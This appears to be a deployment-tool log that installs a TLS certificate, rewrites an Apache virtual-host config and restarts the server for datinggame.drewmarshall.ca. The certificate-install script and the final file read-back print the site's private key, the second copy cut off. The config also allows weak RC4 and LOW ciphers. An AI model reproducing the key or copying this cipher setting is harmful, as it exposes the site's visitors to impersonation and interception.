PUT: /tmp/pkp436726

#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt

cat > $temp_file <<'endmsg'
f6:5c:0c:07:b2:51:4a:37:03:94:04:7f:69:86:85:79

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBpsw72cHVf2/RUJc0U2ILS1VMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMzI2WhcNMjYwNDE0MDUwMzI1WjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOHfBzdpQcWzIxIE/TQq1NXqiyG3U9YyOc9iYwQ9IhotmAZV
zDGmOhub/uq8P/sBrMTJ+jtI/L4hgVpLNA2yvbIKlcMOtJIM/bo1KDqFw8chJhdG
SJabaowRuStkI52zTldoJ90s3jM9ZZSorovKrAyGBeQ3S/QFr7jOA8WsRGsB0Pbz
f8HaVYeoUywZTbeJbGWn4cldVvIlbXfV4kva7yqY3YVLD4fnMeiQHZaDzTkQP6t3
eMqCE5fcZvj6cVUv1bMdGiz0u3QQreKX+XMJ/D1fWZrjrCd02JrTAVRL7RrUGXAC
XOS/46ndlI3Q5sGGPhB8aH3DIrudbCaaBSR4WCkCAwEAAaOCAiswggInMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUir8Xa4bvUxrbUBNcJk3spgeTCSwwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzg2LmNybDCCAQUGCisG
AQQB1nkCBAIEgfYEgfMA8QB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJ
fc3wAAABm7sYs9wAAAQDAEgwRgIhAJbeM3+GWbnLxqQnmrUbxJUOo4E0p/LJVVwN
Lc8OqYbyAiEAufcXjbghgXWECgB2J3ZUKzOYNLYBUNqbQ2tcjGSfL40AdgAWgy2r
8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZu7GLQuAAAEAwBHMEUCIQCB
LSQP6jjASU8GPAn7iHPWGKv3OTRara8UGY7LO/42CgIgea0Q2+NLihGUxQffz43E
9dE3ZI8qyl/xtBbZwDBsPvMwDQYJKoZIhvcNAQELBQADggEBAA7G0jGMvoKeZr15
Hirh9BOYW1NtC/3NUVjlVDFMHo26A0pv7McJc9zkMHaM4J9WPdlCV+LuCdLzCpTk
6YMOzTYKfgVf/VMQPky0zH2McSfEALXTB3XHlwiL1TsVRA3AImQOkZMz+w8O2eX2
Kq6W8payAW8N9e0Izr3mTGggKzCJ1g2EDX95ZELw7ssuZcWPGjEuebvO5LvRcUZ3
PaHnVHKpfxtDwJWTPl9nQ8NugMWQ5ho1GzwoXf8RquICMKd/PqFliar0mxlGYnDS
4oot5VH5I546vx5BFbm8bXsB9ZFmjIgedTR/Ec7uk4oA1DxTn8USptvRn5ALf7LR
29EmJpA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDh3wc3aUHFsyMS
BP00KtTV6osht1PWMjnPYmMEPSIaLZgGVcwxpjobm/7qvD/7AazEyfo7SPy+IYFa
SzQNsr2yCpXDDrSSDP26NSg6hcPHISYXRkiWm2qMEbkrZCOds05XaCfdLN4zPWWU
qK6LyqwMhgXkN0v0Ba+4zgPFrERrAdD283/B2lWHqFMsGU23iWxlp+HJXVbyJW13
1eJL2u8qmN2FSw+H5zHokB2Wg805ED+rd3jKghOX3Gb4+nFVL9WzHRos9Lt0EK3i
l/lzCfw9X1ma46wndNia0wFUS+0a1BlwAlzkv+Op3ZSN0ObBhj4QfGh9wyK7nWwm
mgUkeFgpAgMBAAECggEALDMBDgJOaRn/ZGDOjZ1ODdg6RqxBvxoP/vmRR7yQxk+i
vqaecR7Goy15CkUxPfSbctzVVzGWp7wVvG4X7xBJl6QDn2pqwmPBaOVLDHytjXN6
qTZLMRGTnXpAYnHTmGIElA0hM+I6TwuWK6uAkIFl/oNhdsGtXsCYHNFPoqhtsQSJ
Tlgi9pauN047j0XeoBx0Ql6MVth5f1HiBsE5LdYLj8IjIThkT5mlDoYAEa5XwF6Y
uIRCcQN3vSwyNYPjOYp73l4GYmARFn8TBDiptxGvJZjJ1yvSsA2ahhefRC0kjPvH
LqjTkMpUIlzkhgCo6CAiUiaI5yu8IpFZrbdaSEz24wKBgQD4nuGWD2D66C5k+lR+
NykPg8l/1G+o1FTuZqdt9MAx7UhGHts9hlL3rV5QAJHICPbTFFAgOBNqLgfQ692y
gu0KjuL8DxZbRgdf9LrNYAEMofsMCRhUm3zs3GNJK/ExblvGbIGdGvBhAXW2VT6d
JuOY314hJ24eV2OKRaemf1zM+wKBgQDok0mrhYwSc40oBgs831zulkHbqnmEAE2m
Xn+cRcsIqLmpm6835rs1r8KiThCSuQUw7CGl0ZVNgaqE3rBwGnp/q0AuVm5uQvkY
XaLsx+aWX0c1vvRgUorjVgiHmsb4rKcw9cn8B9qcUysYvbaCjy+577x+qECmZ8UF
Zj2yD+2eKwKBgAk61MMeZQpLjlVfWb2pzJNv4A4n09FfuJt1IigZ2vy/g1xfDuKU
1wWs4QB1VPQpKQijC2p2ynm5pb6i0wMqiyRGM7UJ1lmjGuj8C+dN9hwC82/58nZJ
o3Sjpef0gqrEHxIZuyIa+uuPA1C2j3GEHRTyzerLLPJhaiea+GNc/RP7AoGBAIg/
aOQTq1hP2zy8Na8mhzG6UsCWIPPknZi+OXHaLTRYa9PhwYc1Iy0zVwlwRCNAQrtD
Sf7zRc0PDk8iiihSSrsqHsJGnhD4KSdOC5k9Dme/T188C7u1/2loyDxwvumFc7ip
9Pcxvq7fxhqLYTUhHuuFd16XwK/7kJ82IySCUkjbAoGAEXyvBv7m0oytR0kuKWwx
A0J57N16ZAEa2KpQ0eaOJ/cVfcMCDI2qinOgzuzyaQBLGoyWXgi+l5yTOqFPOusb
Lwt3ZNZf8cTC2WfsoKkwLRRFYcpVHC5j7PySpkBUirvVsNi6mv/j//TM8RgM+AfL
J7G8s0k6NQX8jqLAY1K7zL8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:01:58: 

chmod 755 /tmp/pkp436726; /tmp/pkp436726; rm /tmp/pkp436726

2026-01-14 06:01:58: 


dir=/etc/ssl/certs


2026-01-14 06:01:58: 

PUT: /tmp/pkp944079

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:01:58: 

chmod 755 /tmp/pkp944079; /tmp/pkp944079; rm /tmp/pkp944079

2026-01-14 06:01:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-14 06:01:58: 

PUT: /tmp/pkp569814

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi


2026-01-14 06:01:58: 

chmod 755 /tmp/pkp569814; /tmp/pkp569814; rm /tmp/pkp569814

2026-01-14 06:01:58: 




2026-01-14 06:01:58: 

PUT: /tmp/pkp565952

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:01:58: 

chmod 755 /tmp/pkp565952; /tmp/pkp565952; rm /tmp/pkp565952

2026-01-14 06:01:58: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:58: Establishing a connection
2026-01-14 06:01:58: 

PUT: /tmp/pkp755949

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:01:58: 

chmod 755 /tmp/pkp755949; /tmp/pkp755949; rm /tmp/pkp755949

2026-01-14 06:01:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:58: 

PUT: /tmp/pkp275454

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:58: 

chmod 755 /tmp/pkp275454; /tmp/pkp275454; rm /tmp/pkp275454

2026-01-14 06:01:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf	1409

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-14 06:01:58: 

PUT: /tmp/pkp598841

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:58: 

chmod 755 /tmp/pkp598841; /tmp/pkp598841; rm /tmp/pkp598841

2026-01-14 06:01:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt	5378
f6:5c:0c:07:b2:51:4a:37:03:94:04:7f:69:86:85:79

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBpsw72cHVf2/RUJc0U2ILS1VMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMzI2WhcNMjYwNDE0MDUwMzI1WjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOHfBzdpQcWzIxIE/TQq1NXqiyG3U9YyOc9iYwQ9IhotmAZV
zDGmOhub/uq8P/sBrMTJ+jtI/L4hgVpLNA2yvbIKlcMOtJIM/bo1KDqFw8chJhdG
SJabaowRuStkI52zTldoJ90s3jM9ZZSorovKrAyGBeQ3S/QFr7jOA8WsRGsB0Pbz
f8HaVYeoUywZTbeJbGWn4cldVvIlbXfV4kva7yqY3YVLD4fnMeiQHZaDzTkQP6t3
eMqCE5fcZvj6cVUv1bMdGiz0u3QQreKX+XMJ/D1fWZrjrCd02JrTAVRL7RrUGXAC
XOS/46ndlI3Q5sGGPhB8aH3DIrudbCaaBSR4WCkCAwEAAaOCAiswggInMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUir8Xa4bvUxrbUBNcJk3spgeTCSwwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzg2LmNybDCCAQUGCisG
AQQB1nkCBAIEgfYEgfMA8QB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJ
fc3wAAABm7sYs9wAAAQDAEgwRgIhAJbeM3+GWbnLxqQnmrUbxJUOo4E0p/LJVVwN
Lc8OqYbyAiEAufcXjbghgXWECgB2J3ZUKzOYNLYBUNqbQ2tcjGSfL40AdgAWgy2r
8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZu7GLQuAAAEAwBHMEUCIQCB
LSQP6jjASU8GPAn7iHPWGKv3OTRara8UGY7LO/42CgIgea0Q2+NLihGUxQffz43E
9dE3ZI8qyl/xtBbZwDBsPvMwDQYJKoZIhvcNAQELBQADggEBAA7G0jGMvoKeZr15
Hirh9BOYW1NtC/3NUVjlVDFMHo26A0pv7McJc9zkMHaM4J9WPdlCV+LuCdLzCpTk
6YMOzTYKfgVf/VMQPky0zH2McSfEALXTB3XHlwiL1TsVRA3AImQOkZMz+w8O2eX2
Kq6W8payAW8N9e0Izr3mTGggKzCJ1g2EDX95ZELw7ssuZcWPGjEuebvO5LvRcUZ3
PaHnVHKpfxtDwJWTPl9nQ8NugMWQ5ho1GzwoXf8RquICMKd/PqFliar0mxlGYnDS
4oot5VH5I546vx5BFbm8bXsB9ZFmjIgedTR/Ec7uk4oA1DxTn8USptvRn5ALf7LR
29EmJpA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDh3wc3aUHFsyMS
BP00KtTV6osht1PWMjnPYmMEPSIaLZgGVcwxpjobm/7qvD/7AazEyfo7SPy+IYFa
SzQNsr2yCpXDDrSSDP26NSg6hcPHISYXRkiWm2qMEbkrZCOds05XaCfdLN4zPWWU
qK6LyqwMhgXkN0v0Ba+4zgPFrERrAdD283/B2lWHqFMsGU23iWxlp+HJXVbyJW13
